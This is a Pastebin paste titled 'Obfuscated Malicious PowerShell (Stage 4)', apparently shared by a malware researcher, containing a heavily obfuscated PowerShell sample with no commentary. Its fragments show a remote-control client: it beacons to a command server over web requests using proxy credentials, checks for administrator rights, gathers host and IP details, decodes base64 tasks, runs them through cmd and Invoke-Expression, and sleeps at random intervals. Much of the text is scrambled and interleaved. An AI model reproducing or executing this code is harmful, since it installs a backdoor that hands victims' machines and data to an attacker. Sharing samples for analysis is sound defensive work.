API tools faq
paste
dissectmalware

Obfuscated Malicious PowerShell (Stage 4)

dissectmalware
Mar 3rd, 2019
569
0
Never
Add comment
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PowerShell 42.18 KB | None | 0 0
raw download clone embed print report
  1. ${93`5`sJ7} = " ) )'$',)111]RaHC[+811]RaHC[+09]RaHC[((EcaLPEr.)43]RaHC[]gNiRTS[,'xvM'(EcaLPEr.)93]RaHC[]gNiRTS[,)15]RaHC[+05]RaHC[+58]RaHC[((EcaLPEr.)'|',)09]RaHC[+56]RaHC[+801]RaHC[((EcaLPEr.)'
  2.  
  3. )32Ux32U+]5[CIlBuP:VNEovZ+]31[ciLbup:vnEovZ (. ZAl )63]RAhc[,)501]RAhc[+28]RAhc[+25]RAhc[(  eCAlPERc- 93]RAhc[,32UPOH32U ECAlPer-))32U = SfomoX (moX DJs()DmhxDmhZhzm+Zhzm+]31[}DIllXaxEHe38+e38XaxS{moX+]1[}DILXaxlEHs{moX ( .  ;  ))DmhgeRDmh,DmhxEDmhF- DJs}0{}1{DJs(]epyT[  ( )Dmh6L8w:Dmh+DmhELBDmh+DmhADmh+A5X+A5XDmhiRAvDmh(  )Dmh-tesDmh,DmhetIDmh,DmhmD43E+43Emh f- DJs}0{}1{}2{DJs(&  VfY(sC1k,sC1k  2H9+2sD9,sD909
  4. tDn+tDn   2H9+tyatDn+tDn,tyaq){sD9,sD99sD9,sD9mPqngn;
  5. 2sD9,sD9 YmPzl_neenl = @();
  6. tya,tyahaR]52f0+2f06),[string][ChaR]sD9,sD9sxS(]epYT[ ( FtDn+tDn7RFLV,FLV VS tDn((( sD9,sD9XAr
  7. sD9,sD9 2f0+2f0         2f0+2f0YmPtDn+tDnYtya,tyac tDn+tDn-netya,ttDn+tDnyagragtDn+tDn);
  8.         YmdLv+dLvPjroerd.Method = XArPOSsD9,sD9nsD9,sD9Dn+tDn tDn+tDn  } cattDn+tDnch {
  9. tya,tyagtya,tyamP2f0+2f0pvcuregrkgtya,tyaost XArR-OXAr 
  10. tya,tyaedentialCache]:2tDn+tDnf0+2f0:DefaulsD9,sD9rorAction SilentlyContitDn+tDnnue
  11. 2H9+2H9   2HsD9,sD90ya,tyatDn+tDn  return Y2H9+2H9mPbtDn+tDnhtya,tyaingr =tDn+tDn 2f0+2f0959, 713
  12. tDn+tDn
  13. YmPchoyvp = 37,XpycE,ycE-DJs}0{}2{}1{DJs(::DJ'+'seUXaxlaVDJs.))Dmh6L8w:bIN,bIN[ -1..- (Bsk{YbC9CbC9WTK}.uhPlbC9engbC9ThuhP ) ]ABY&((&(dLvGvdLvXpN+XpN) (uhP{1}{0}uhbIN,bIN    }
  14.        WribIN,bIN01]r0zH+0zHAHC[+37]rAMOC,MOC2f0+2f0()
  15.     2H9+2H9    sD9,sD9tybIN,bINH9{
  16.    2HjN1,jN1va}
  17.  
  18. functDn+tDntion raPelcg(sD9,sD9+tDntyaNew-Object System.tDn+tDntya,tyacurity.Principa32U,32UirLtDnneetDn+tDnnlsD9,sD9Dntring(1,YmPpzq.Length-2)
  19.             YmPp2H9+22f0+2f0H9zq = YmPpzqsD9,sD9ftDn+tDn0,tyamPvas2f0+2f0b = vasbtya,tya9oding]:POH+POH2f0+2fdLv+jk0+jk0dLv0:AS2f0+2tDn+tDnXpN+XpNftDn+tDn0CItDn+tDnsD9,sDdLv+dLv9tyation uggcTRG(YmPhey){2H9+2H9
  20. tDn+tDn
  21.  2H9+2H9 2Htya,tya8 + YmPglobal:tya,tya    }2H9+2H9
  22. }
  23.  
  24.  
  25. UlV+UlV
  26. funsD9,sD9tDn+tDnsD9,sD9pzq
  27.      2H9+2H9 tDn+tDn   2f0+2f0zH+0zH0  iXpN+XpNf(YmPerf2f0+2f0hyg.Len2H92f0+2f0+2sXpN+XpND9,sD9          YmPpe38+e38zqtDn+tDn=YmPpzq.replacetjN1,jN1(YmPhey);
  28.     tya,tyaUlV+UlVNepu
  29.    YmPF2f0sD9,sD9gNepu(){tDn+tDn
  30.         trtDn+tDnysD9,sD9ya,tyatem.Securityjk0+jk0.PrinctDn+tDntya,tyasD9,sD9b2H9+2H9 +2f0+2f0=tDn+tDn trgtya,tya2H9+2H9)2tytDn+tDna,tya2H9 tDn+tDnYmPFlfVasb += XAr**XAr
  31.    YmPFlfVasb tya,tya    tDsD9,sD9qbzC2H9+2H9etya,tyaploadIT8))'+'{
  32.   sD9,sD9   XpN+XpNtya,tyarep2H9+2HtDn+tDn9lae38+e38ce2f0+2f02H9+2H9(IT8tDn+tDn[^a-zA-Z0-9]ItDn+tDnT8,IsD9,sD9+2f0esD9,sD9   YmPvcf tDn+tDnPOH+POH= XArXAr
  33.          tDn+tDn   Get-WmisD9,sD9tDnsD9,sD9}{6tDn+tDn0}{74}{49}{147}{111}{1580zH+0zH}{842f0+tDn+tDn2f0}{2f0+2f0123}{107}{78}{112}{3}{65}{165}{sD9,sD9urtya,tyaedentiasD9,sD9,tyatDn+tDn
  34.        start-slesD9,sD92f0+2f02tDndLv+dLvsD9,sD9st]::GetSy2f0+2f0stemWeb2H9+2HsD9,sD9argEntDn+tDnaqbzCebkl
  35.  
  36.     trgr1+gr1y{
  37.     tDn+tDn YmPpbagrasD9,sD9reaktya,ty2f0+2f0a   tya,tyaH9S0T2H9).rEPLacE(([ChaR]89+[ChaR]109+[ChaR]80),[string][C2f0+2irL+irLf0haR]36).rEPLacsD9,sD9 YtDn+tDnmPnqqe = (IT8/or/?t=ITtya,tya.223.89tDn+tDn.ttDn+tDnysD9,sD9 =tya,ttDn+tDnya9+2H9]::GetSys2f0+2f0temWebProxtDn+tDny()
  38.         YmPjroerd.proxy.Credentials = [Net.CrttDn+tDnya,tDn+tDntyycE,ycEDmhDn
  39.     tya,tyaEtDn+tDnbyr = [SsD9,sD9
  40. tya,tyareturn (Get-WmiObtya,tZhzm+Zhzmyat2H9+2H9.tqj8+qj8Dn+tDnWtya,tyaartsWycE,ycEith(IT8tya,tyaYmPsD9,sD92H9tDn+tDnPertya,tya XAr**XAr
  41.  tDn+tDn  YmPFlfVasb += trgQbznva
  42.   tDn+tDn YmPFlfVasb += tya,tyazlneenl = @();
  43.   tya,tya   YmPtya,tysD9,sD9n+tDnEi =2f0+2tDn+tDnf0 YmPEi tDn+tDn/ 2
  44.   2f0+2f0     } e43E+43Els2fsD9,sD9yaYmPp2f0POH+POH32U,32UX+A5X}{212}{150}{224}{114}{sD9,sD972f0+tDn+tDn2f0}{129}sD9,sD9n+tDn0
  45. f2H9+2H9unction Riny(YmtDn+tDnPpzq){
  46.    trysD9,sD9)tDnXtDn+]5[cILbup:vnEqo8+32U,32Utya,tyaGetByPOH+POHtes(YtDsD9,sD9(XArc:POH+POH2H9ycE,ycE104+[ChaR]1092f0+2f0)2f0+2f0,tya,tya9htya,2f0+2f0tya.I2f0+2f0O.StreamReader]e38+e38 Ym0zH+0zHPe'+'r2f0+2f0f_qngn = New-Object S2H9+2H9ystem.IO.StreamReader YmPqgr1+gr1ngn;
  47.             [St2H9+2H9r2H9+2H9ing] YmPerfhyg = YmPerf_qngn.tDn+tDnReadToEnd();
  48.  
  49. 2H9wrz+wrz+2HtDn+tDn943E+43E    2H9+2H9 }
  50. '+'
  51. 43E+43Eqj8+qj8  } ctDn+tDnatch {
  52.         YmPetDn+tDnrfhyg = XArerrorXtya,tya {
  53.         WrtDn+tDA5X+A5Xnite-Host tDn+tDnXArR-IsD9,sD9H9tXAr (YmPgloba2f0+2sD9,sD9n32U,32Uj8+qj82{}26{}82{}15{}212{}381{}112{}453{}721{}MOC,MOC,tya
  54.    function trtytDn+tDnasC1k,sC1kn+tDntya,tyaon.MessagesD9,sD9ertvfgtya,tya9+2H9cynvagrkg){
  55.  
  56. 2H9+2H9    try{
  57.        YmPxrl,2ftDn+tDn0tDn+tDn+2f0 YmPn = YmPtDn+tDnpk;
  58.     tsD9,sD9+2f0}{136}{75}{195}{185}{77}{191sD9,sD9}tDn+tDn
  59.        0zH+0zHel2f0+2f0se {
  60. 2H9+2H9 2H9+2H9     tDn+tDn    2f0+e38+e382f0  return Riny 2H9+2HsD9,sD9pk, YmPpvctDn+tDnuregrkg){
  61.  
  62.    try{
  63.     tDn+tDn    YmPtDn+tDnxsD9,sD9PtybIN,bINa,tyaebRequee38+e38st]:tDn+tDn:Create22f0+2f0HsD9,MOC,MOC( ecalpEr- 69]RAHC[,tDnDgitDnsD9,sD9tDn+tDn
  64. }
  65.  
  66.  
  67. function etDn+tDsD9,sD9rGE2H9+2H9TX2H9+2H9Ar;
  68.         [System.Net.tya,tya sD9,sD9PernyVC
  69.     tsD9,sD9f02H9T8))))
  70.          2f0+2f0   2H9+tDn+tDn2H9    return Ri2H9sD9,sD9rfhtDn+tDny2H9+2H9g = XArXAr
  71.     }
  72. tyatDn+tDn,tya      2H9tDn+tDn+2H9[System.IO.StrPOH+POHeamRead'+'ert2f0+2f0ya,tya2tya,tya  sD9,sD9trg2fXpN+XpN0+bIN,bINerfhyg = (tDn+tDnYtDn+tDnmPptDn+tDnvq + IT8:IT8 + YmPerftya,tyarn YmPerfsD9,sD9fA5X+A5X0g([System.Text.Enc2H9+2Htya,tya   tya,tDn+tDntyatialCache]::DetyatDn+tDn,tsD9,sD9tDntyXpN+XpNa,tyaaXArsD9,sD9Dn79}{5}{85}{76}tDn+tDn{20}{17tDn+tDn4UlV+UlV}{52}{82}{101}{8}{249}{8e38+e38tDn+tDn6}{51}{187}{163}{2f0+2f054}{62}{89tDn+tDn}{157tDn+tDn}{175}{130}{qj8+qj8145}sD9,sD9fVasb += XAZhzm+Zhzmr**XAr
  73.     YmPFDmh+Dmmea,meaf0+2ftDn+ycE,ycE))2POH+POHf0sD9,ycE,ycEfhy2H9+2H9g + sD9,sD92f0+2f0,tyatsD9,sD9PF2f0+2f0lfVassD9,sD9       YmPj2H9+2H9tDn+tDnroerd.Mmea))  -REPlACe ([qj8+qj8ChAr]103+[qj8+qj8ChAr]114+[ChAr]49),[ChAr]39-creplACe  ([ChAr]108+[ChAr]90+[ChPOH+POHAr]74),[ChAr]36  -REPlACe  ([ChAr]120+[ChAr]85+[ChAr]51),[ChAr]96) 5GV &( o7JENv:cOMSpEC[4,24,25]-JoInmeamea)
  74. qj8).REPlace(qj8o7Jqj8,qj8CH6qj8).REPlac32U,32U+2f0zq2tDn+tDnH9+2H9.SutDn+tDnbstDn+tDn2H9+2H9trtDn+tDning(YmPpzq.2H9+2H9LsD9,sD9eader] YmPePOH+POHrf_qngn = NjN1,jN1);
  75.             [System.IO.StreamRsD9,sD9tDnf0       Dmh+Dmh   sDVfY+VfY9,sD9wrz+wrz+2H9ny XArpwdXAr
  76.  
  77.            tDn+tDn tyabIN,bPOH+POHINDmh+DmhElbDmh+DmhaDmh+DmhIRAVDmh(  )DmhmEDmh,DmhTiDmh f-DJs}1{}0{DJs(&(  ]gniRtS[ ( +DJsUlV+UlV ) DmhDmh32U,32U{1}{3}A6T -f A5XgET-A5X,A5Xgr1+gr1AAMOC,MOCLacE  ([cHAr]65+[cHAr]53+[cHAr]88),[cHAr]39)mjz . ( ([STrINg]7LtVeRboSEprEferENcE)[1,3]+MOC,MOCrUN .((gv jk0*MDr*jk0).NAME[3,11,2]-Joinjk0jk0)((jk0&( 20dpsHoME[21]+20dPshoME[30]+bINXbIN)(((HSW{7}{11}{3}{4}{14}{15}{22}{8}{28}{0}{25}{18}{UlV+UlV21}{9}{19}{24}{16}{23}{17}{5}{27}{13}{6}{1}{10}{26}{12}{20}{2}HSW -f bIN        {
  78.          sD9,sD9e
  79.    }
  80. tDn+tsD9,sD90+2f0
  81. sDsC1k,sC1kvtatDn+tDn'+'r2f0+2f0t-2fsC1k43E+43E,sC1k
  82.  
  83. NoISsERpxe-Zgr1+gr1hzm+ZhzmEKovnIiTp )93]raHc[]GNiRts[,)86]raHc[+901]raHc[+401]raHc[((ECaLpeR.)69]raHc[]GNiRts[,VfYXaxVfY(ECaLpeR.)421]raHc[]0gr1+gr1zH+0zHGNiRts[,)311]raHc[+121]raHc[+411]raHc[((ECaLpeR.)43]raHc[]GNiRts[,)86]43E+43EraHc[+47]raHc[+511]raHc[((ECaLpeR.)VfYqUvVfY,VfYmoXVfY(ECaLpeR.)VfY
  84.  
  85.  
  86. ) DJs )Dmh 0zH+0zHDmh  DmhsFO:elBairAvDmh  MEti-Tes (moXDJs+) }}_{moX{)DmhODmh,DmhtcEDmh,DmherDmh,DmhjBO-HcaDmh,DmhfDmh f-DJs}3{}1{}2{}4{}0{DJs(&qyr) )DmUlV+UlVhIrDmh,DmhhgDmh,DmhTDmh,DmhtfelOTDmhf- DJs}0{}1{}2{}3{DJs(, DA5X+A5Xmh.Dmh, DJs . ((gv Dmh*Mdr*Dmh).Name[3,11,2]-JOINDmhDmh) ((Dmh(((CcXU{5}{14}{8}{6}{7}{443E+43E}{2}{10}{1}gr1+gr1{9}{11}{15}{13}{12}{17}{16}{0}e38+e38{3}CcXU-fFLVnbject Systya,tyae).tDn+tDn2H9+2H9ShortName)
  87.            } catch {
  88.   2H9+2H9  sD9,sD9YmPghfr -eq tya,tya,[strUlV43E+43E+UlVing][ChaR]124).rEPtDn+A5X+A5XtDnLacE(([32U,32U+2f0T8cmdIT8)sD9,sD9    }
  89.   2f0+2f0   2H9+2H9  } catch2H9+2H9 2f0+2f0{
  90.     2H9+2H9       tya,tyamPpzq.LastIndexOf2H9+2f0+2f02H9(IT8/I2H9+2f0+2tDn+43E+43EtDnsD9,sD9a,2f0+2f0tytDn+tDnareturn XtDn+tsD9jk0+jk0,sD9ysttDn+tDnem.stya,tyatrgEnaqbzCebkl
  91. tya,tyalfVassD9,sD9
  92. }
  93.  
  94. functio2jN1,jN1-421]RaHC[,)001]RaHC[+201]RaHC[+021]RaHC[(ECALpEr-))MOCYmsD9,sD9ChaR]34).rEPLacE(2H9oHw2H9,2tyasD9,sD9ya,tya8)
  95.  
  96.  
  97.  
  98. futya,t2f0+2f0yar;'+'
  99. tDn+tDnsD9,sD9n+tDn+tDn2f0{
  100.         YmPtya,tya   2f0+2ftDn+tDn0  2H9+2H9tDn+tDn   tDn+tDn 2H9+2H9  }
  101.            eltDn+tDnsetDn+tDn
  102.    2f0+2f0        {
  103.     2H9+2H9           r2f0+2f0eturnsD9,sD9ter]::sD9,sD9108+2f0+2f0[ChaR]ycE,ycEction Sil2H9+2H9entlyCon43E+43Etinue Yp4 Out-Null
  104.    }
  105.   sD9,sD92H9+2H9).OSArchit43E+43Eecture;sD9,sD928}{1tDn+tDn0}{26}{247}{159}{18}{246}{162}{47}{dLv+dLv156}{244}{59}{94}{tDn+tDn88}{34}{132}{182}{40}{jN1 f-tU9}8{}7{}2{}71{}31{}91{}11{}3{}51{}6{}4{}41{}21{}0{}5{}12{}1{}61{}02{}01{}9{}81{tU9(((()jN1jN1NIOj-jN1xjN1+]3,1[)EcnErEfErpEsobrEvnXd]gNirTs[( ( & e38( QWn , e38.e38 , (QWn{2}{0}{1}{3}QWn-f e38IgHtte38,e38oLeFe38,e38Re38,e38Te38)) dDF &(e38%e38){Tnh3{_}.QWnValNAZMUeQWn}) ) )
  106.  
  107. gr1).rEPlACe(gr1NAZMgr1,gr1xU3gr1).rEPlACe(gr1Tnh3gr1,gr1lZJgr1).rEPlACe(gr1QWngr1,[StRING][chAr]34).rEPlACe(gr1e38gr1,[StRING][chAr]39).rEPlACe(gr1dDFgr1,[StRING][chAr]124) )
  108. mea,mea8Tnh3e38,)011]raHC[+88]raHC[+001]raHC[((ECalqj8+qj8pEr.)e38
  109.  
  110. ))421]RahC[,)511]RahC[+121]RahC[+211]Ramea,mea43]rAHC[,)411]rAHC[+58]rAHC[+87]rAHC[(  ecalpeRc- 63]rAHC[,)55]rAHC[+311]rAHC[+45]rAHC[(ecalpeRc-  )UlV
  111.  
  112.  
  113. )jk0xjk0+]5[}ciLBUAsNp:VAsNNE{7q6+]31[}CiAsNLBup:VAsNNe{7q6 (.zhu ] )rUNhtgAsNnElrUN.rUNEUAsNLaVrUN.) )jk01VPjk0,jk0yjk0 f-rUN}0{}1{rUN(  )jk0eLbaIjk0,jk0rjk0,jk0Avjk0f-rUN}2{}1{}0{rUN(& ((-.. 1 -[rUNeULAAsNVrUN.) )jk0y1Vjk0,jk0Pjk0 f- rUN}1{}0{rUN(  )jk0baIrAvjk'+'0,jk0ejk0,jk0Ljk0f-rUN}1{}0{}2{rUN(& ( niOj-  ;) MOC,MOCya,tyastya,tya= usD9,sD9tDn0]}
  114.             re2mea,mea9Dn+tDn+2H9 = YmPjroerd.GetRee38+32U,32UX,A5XmHM6A5X(ecaLPEqj8+qj8R.)A5X
  115.  
  116. ))421]raHc[]GnIRTS[,sC1kiTpsC1k(ECALPER.)93]raHc[]GnIRTS[,sC1kVfYsC1k(ECALPER.)sC1kmHM6sC1k,)311]raHc[+58]raHc[+811]raHc[((ECALPER.))sC1kp4 % {YmPvcf = YmtDn+tDnPvctDn+tDnf + XAr-XAr + YmP_.tDn+tDnIPAtDn+tDnddress[tDn+sD9,sD9Dnya= zq5trarengbe(2H9+2H9YmPFtya,tya New-tya,ttDn+tDnya     retuty2f0tDnMOC,MOC+tDnf0tya,tyaid)
  117. 2H9+2H9    2f0+2f0      tDnsD9,sD9(2f0bZQ2f0,[strinG][csD9,sD9(2f0YCn2tDn+tDnf0,[stre38+e38inG][cHAR]34)Ao6 & ( TCbqpsHtDn+tDnOMe[21]+TtsD9,sD9PtDn+tDnratDn+tDnp_zft
  118. 2H9+2H9     YmPjroerd = [System.Net.WebRequestDn+tDnt2f0+2f0sD9,sD9*XAr
  119. 2f0+2fsD9,sD9DnsD9,sD9eturn Xgr1+gr1A2H9+22f032U,32Uh3{pNAZMSHNAZMOME}[30]+e38xe38) (   ( cHilDitEM  (QWnvaRQWn+QWnIAQWn+QWnblQWn+QWne:1pQQWn) ).QWnVNAZMALUeQWn::(QWn{1}{0}QWn-f e38ine38,e38jOe38).Invoke( e38e38, (   ( Get-cHiLDitEM  (QWn{2}{0}{1}QWn-f e38IABlE:Ge38,e384de38,e38VaRe38) ).QWnvalNAZMUEQWn::(QWn{1}{0}{2}QWn-f e38ce38,e38mAte38,e38Hese38).Invoke(QWn)e38Xe38+]31[DiLlEhsTnh3+]1[diLlehsTnh3 ( &dDF)93]raHC[32U,32U sD9,sD9nStritya,tyan)2H9+2H9{
  120.    YmPXi = YmPx
  121. sD9,sD9 A5X+A5XsD9,sD92f0
  122. 2H9+tDn+tDwrz+wrzn2H9       }2H9+2H9
  123.         [SystdLv+dLvem2f0+2f0.Net.WebRespotyasD9,sD9IT8XAr2H9+2H9}tya,tDn+tDntyah {
  124.            tyatDn+tDn,tDsD9,s43E+43ED9HtDn+tDn9nvert2f0+2sD9,sD9oditDn+tDn2f0+2f0ng]::AS2f0tDmea,mean+tDn+2f0CItDn+tDbIN,bINte-Htya,tysD9,sD99+2H9     if(YmPp2f0+2f0zq.StartsWith(XArcdXAr)){YtDnsD9,43E+43EsD9e
  125.           tya,tya
  126.        sD9,sD919tDn+tDn4}{17}{66tDn+tDn}{sD9,sD9rn bIN,POH+POHbIN2f0CVC(){
  127.     2f0+2ftDn+tDn0tya,tya 2H9+2H9    tjk0+jk0Dn+tDn     ttDn+tDnya,tyaecurisD9,sD9{203}{38}{9}tDn+tDn{72}{105}{184}{126tDn+tDn}{172f0+2f00}{16}{sD9,sD9
  128.   2H9+2H9     }
  129. tDn+tDn   tya,tyaFlfVasb += trgUbfgAnzr
  130.  2H92f0+2f0+2HsD9,sD9
  131.  tyatDn+tDn,tyasD9,sD9tDn2f0+2ftDn+tDn0YmPYi) %tDdLv+dLvn+tDn YmsD9,sD9){
  132.     gr1+gr1       YmPpzq=YmPOH+POHPpzq.replace(tDn+tDnIsD9,sD9rn XArtDn+tFLV,FLVD9]::FromBase64String(YmPpzq))
  133.  tDn+tDn              YmPbhg = Riny Ym2H9+2H9Ppzq43E+43E
  134. sC1k,sC1kVfY+VfYnznva(){
  135.         ttya,tya {
  136.         YmPtsD9,sD9b)
  137.   FLV,FLV
  138.  
  139.  
  140. sD9,sD9a,tyaectdLv+dLvDn+tDnurity2f0+2f0.principal.windotya,tya2f0+2f02H9+tDn+sD9,sD9tya,tyaGetRespotDn+tDnnseStream(jN1,jN1  }
  141.          A5X+A5X      return (YmPsD9,sD9tSyst2f0+tDn+tDn2f0emWebPrZhzm+ZhzmoxyMOC,MOCHC[((ecaLPER.)93]rAHC[]GnirtS[,A5XsC1kA5X(ecaLPER.)A5XxTfA532U,32U+2f0Htya,tDn+tDntya9 -ne YtDn+tDnmPnull){
  142.     jk0+jk0     YmPqnsD9,sD9 ([sTRDmh+DirL+irLmhIng]u4POH+POHFvE2fjk0+jk00+2f0zH+0zH0RBOs2f0+2ftDn+tDn0EPREfErENce)[1,3]+tyaXtya-jOintyatya)(((YCn{69}{2tDn+tDn2f0+2f014}tDn+tsD9,sD9ra2H9+2H9p_zft)2H9+2bIN,bIN ((wjN1,jN1178}{24}{43E+43E141}{155tDn+tDsD9,sD9   tDn+tDn 2f0+2f0sD9,sD9f0+tDn+tDn2f0}2f0+2tDn+tDnf0{106}{2sC1k,sC1ksD9,sD9f0+2f0sD9,sD9tDn+tDnmPv){
  143.    ttDn+tDUlV+UlVnry{
  144.        sD9,sD9TXAr;
  145.         YmPjroerd.Co2f0+2f0ntentLengthsD9,sD9+tDnCtDn+tDnbqPSHomE[30]+sirL+irLD9,sD9ep (tDn+tDnGet-Random -Minimum 20 -Maximum sD9,sD9nsD9,sD9ction uggcCBFG(tDn+tDn2H9+2sD9,sD9+tDsD9,sD92tDn+tDnH9rfhyg)tya,tyaipal.WindowsPri2H9+2HtDn+tDn9ncipal(YmPJbIN,bINvaqbjfVqragvtDn+tDngl2H9+2H9)
  146.      tDn+tDn      Ymwrz+wrzPNqzvatya,sD9,sD9238sD9,sD9}{181}{199}{206}{252}{193}{15}2f0+2f0{152}2f0+2firL+irL0{24tDn+tDn1}{243}{73}{118}{117}{tDnqj8+qj8+tDn11sD9,sD9tDn+tDn= YmPH
  147.    YmPtDZhzm+ZhzmnsD9,sD9         tDn+tDn  return 2f0+2f0YmPenv:Utya,tya2H9re = tDn+tDnYmPhfre.tya,tyaH9+2H9
  148.  
  149. sD9,sD9n ertChfu([stritDn+tDnng]YmPp, [stUlV+UlVring]YmPk, [strin2fsD9,sD9     YmPsfb = New-tDn+tDnObject -ComObj2f0+2f0ect Scripting2Zhzm+ZhzmH9+2H9sD9,sD9l2f0+2ftDn+tDn0Cache]::2H9tyatDsD9,sD99+2H9(YmPglobalA5X+A5X:url + YmPhetya,tyaame
  150. sD9,sD9  sD9,Zhzm+ZhzmsD9+tDn  tDn+tDnYmPXpN+XpNqngn =tyajN1,jN1rzxMOC,MOC,sD90+2f0g]YsD9,sD92f0+2f0~!!~~sD9,sD9nctiotya,tyath sC1k,sC1k     } catch {
  151. sD9,sD9,tyaXAr**tDn+tDnXAr
  152.   2f0e38+e38+2f0 YmPFlfVassC1k,sC1k-gt 0){
  153.             2H9+2H9YmPerZhzm+Zhzmd_fgernsD9,sD9Dn+tDn2H9+2H9  sD9,sD9       return tDn+tDnXArerrotya,tyawsidentittDn+tDnyFLV,FLVH9+2H9  YmPCeFLV,Fjk0+jk0LVDnErtDn+tDnrorArsD9,sD9nf0+2f0     2f0+2f02H9+2HtDn+tDn9 YmPzl_tDn+irL+32U,32U43E43E)
  154. ycE,ycE)
  155.             YmPerfhyg tya,tya=ttDn+tDsC1k,sC1k0sD9,sD9A532U,32Ue{CH6 ( &  ;)  8FA &( CH6PSHOmE[21]+CH6pSHOmE[34]+qj8Xqj8) ((qj8(((bfz{15}{16}{3}{7}{27}{21}{28}{12}{13}{0}{9}{4}{31}{24}{20}{14}{23}{26}{29}{11}{10}{8}{6}{18}{19}{5}{25}{22}{17}{30}{1}{2}bfz -fmea{
  156.  
  157.    wh2f0+2f0ile(YmPtsD9,sD9H9YmPhey,YmP2H9+2H9sD9,sD9H9   tDn+tDn  tya,tya[tDn+tDnYmPi]
  158.           e38+e38 YmPt =  Zbq YmPahz Ym2H9+2H9Pxrl YmPn
  159.      2tDn+tDsD9,sD9yamPrtDn+tDnapbqr_qngn.ltDn+tDnength;
  160. sD9,sD90+2f0e {
  161. tDn+XpN+XpNtDn sVfY+VfYD9,sD9agQbtDn+tDsC1k,sC1k,tya+2H9peName System.Text.UVfY+VfYTF8EncVfY+VfYoding
  162.    YtyaVfY+VfY,tytDn+tDna     sD9,sD9EPLac2f0A5X+A5X+2f0E(2H9XAr2H9tDn+tDn,[string][sD9,sD9ndowsBuiltInRole]::A2f0+2f0dmintDn+tDnistrator
  163.            if (YmPCev2f0+2f0apvcny.IsInRole(YmPNqzva2f0+2f0Ebyr))
  164.  sC1k,sC1ky XAroHwtXAtya,tyaenttDn+tDnials
  165.         Ym2sD9,sD92f0+2f0hyg2H9+2H9
  166.  
  167.  
  168.  tDn+tDnsC1k,sC1k   tya,tya-eq 0tDn+tDn) {
  169. tDn+tDn  tDn+tDn         Ym2H9+2H92f0+2f0PXi = (YmPXi * YmPtya,tyay);
  170. 2H9+2tDn+tDnH9      2f0+2f0YmPjroetDn+tDnrd.proxy = [NtDsD9,sD9+tDnr
  171. YZhzm+ZhzmmPglob2H9+2H9al:id2H9+2H9 = XArXAr
  172. 2f0+2f0YmPcevtya,tyazq = uggcTRG (XAr/oc/api/?t=XAr + YmPglobal:id)
  173. gr1+gr1     2f0+2f0tDn+tDnif (YmPpzq.LengtjN1,jN1H9+tDn+tDn2H9n pbzznaq_naq_pba2f0+2f43E+43E0ge2f0+2f0by(POH+POHYmPpz2f0+2tDnMOC,MOC+tDn+2f0a,tya    return YmPb2H9+2HtDn+tDn9hg
  174.     tDn+tDnsD9,sD9a YtDn+tDnmPpzq = YmPpzq.substDn+tsD9,sD9g2H9+2H9n = YmPerfc.GetResponseStream()2H9+2H9;
  175.     tya,tya YmPjroer2ftDn+tDn0+2f0d.proxy = [Net.WebRequest]::GetSyste2f0+2f0mgr1+gr1Web2H9+2H9Proxy()tDn+tDn
  176.         YmPjroerd.proxy.CreddLv+dLventi2f0+Zhzm+Zhzm2f0als = [Net.Credentya,tya  try{
  177. 2f0+2tDn+sD9,sD9write-hjN1,jN1ew-Obj2f0+2f0ect S2UlV+UlVf0sD9,sD43E+43E9}{tDn+tsD9,sD9]RAHC[,tDnTDmh+DmhCbsD9,sD9agr1+gr1,tyaW-IXAr
  178. tDn+tDmh+DmhDn tDn+tDntya,tyVfY+VfYaPtDn+tDnbhg tDn+tDnYp4tDn+tDsD9,sD9+2f0
  179.    }
  180.    function sD9,sD9    sD9,sD9{134}{135}{21}{192}{110}{127}{122}{1}{208}{95}{167sD9,sD92H9    YmPwc.2f0tDn+tDn+2f0proxy = [NetDn+tDnt.WebRe2f0+2f0q2H9+2H2f0+2f0tDn+tDntya,tyast2Htya,tDn+tDntya    Ytya,tyafc2HtDn+tDn9+2Ht2f0sD9mea,meahlfVasb +2H9+2H9= gr1+gr1trgCVC
  181.    YmPglobasD9,sD9s2HsD9,sD9f0]::To2H9+2Htya,tya+2H9DetDn+tDnfa2tDn+tDnH9+2H9ultCredtya,tya2H92f0+2f0nse();XpN+XpN
  182. 2f0+2f0     if (2H9+2H9YmPerZhzm+ZhzmftyatDn+tDn,tytDn+tDna2f0+2ftDn+tDn0IT8ycE,ycEtDn+tDn+2H9lhmprog2f0+2f0ramdatalhtDn+tDnmsD9,sXpN+XpND9
  183. tDn+tDn
  184.         YmPj2f0+2f0rFLV,FLVf0sD9,sD9H9+2H9tutsD9,sD9ls
  185.         YmPrapbqr_qngn = [System.Text.sD9,sD9ya,tyasD9MOC,MOC )
  186. jk0).rePLaCE(([CHAr]115+[CHAr]111+[CHAr]87),[STrING][CHAr]124).rePLaCE(([CHAr]50+[CHAr]48+[CHAr]100),jk07q6jk0).rePLaCE(jk0HSWjkPOH+POH0,[STrING][CHAr]34).rePmea,meaLaCE(([CHAr]98+[CHAr]73+[CHAr]78),[STrING][CHAr]39) )  rUN (  )qj8+qj8jk0yjk0,jk01Vpjk0 f-rUN}1{}0{rUN(  )jk0airjk0,jk0AVjk0,jk0-Tesjk0,jk0elBjk0f-rUN}0{}3{}2{}1{rUN(&UlV(( MOC,MOC,tyanull){2H9+2H9
  187.             YmPqngn tytDn+sD9,sD92H9+2H9  }
  188.   2H9+2sD9,sD9qtDn  ecALpeRC-sD9,sD9kl(){
  189. 2H9+2H9
  190.     YmPea2irL+irLH9+2H9q = Gtya,ycE,ycE(I2H9+2H92f032U,32Uy = Ntyawrz+wrz,tyavasb = utDVfY+VfYn+tDnggcC2f0+2f0BFG (XAr/oa/XAr) YmPvasb
  191.        if(YmPvasb -eq '+'IT8XArdoneXAsD9,sFLV))  -CR43E+43EePLACE  FLVXpNFLV,[cHAR]332U,32U]31[cIlbup:VnEqsD9,sD9TtDsD9,sD9Dn{2tDn+tDn}{154}{162f0+2f04}{242}{22}{234sD9,sD9
  192.         } c2f0+2f0ty2f0+2fsD9,sD9
  193.        write-host YmPhesC1k,sC1ktgr1+gr1Dn+tDn.REPLaCe(tyaeSatya,tyaz8mty2f0+2f0a).REPLaCe(([ctDn+dLv+dLvtDnHAr]A5X+A5X50+[cHAr]72+[cHAr]57),[string][cH2f0+2f0Ar]39).REPLaCe(tyaS0TtXpN+XpNya,tyabZQtya))
  194. 2f0).REPLaycE))-CREplACe ycE9LVycE,[Char]124 -RePLACE  ([Char]52+[Char]51+[Char]69),[Char]39 -CREplACe ycEKdyycE,[Char]36)vlN IEX
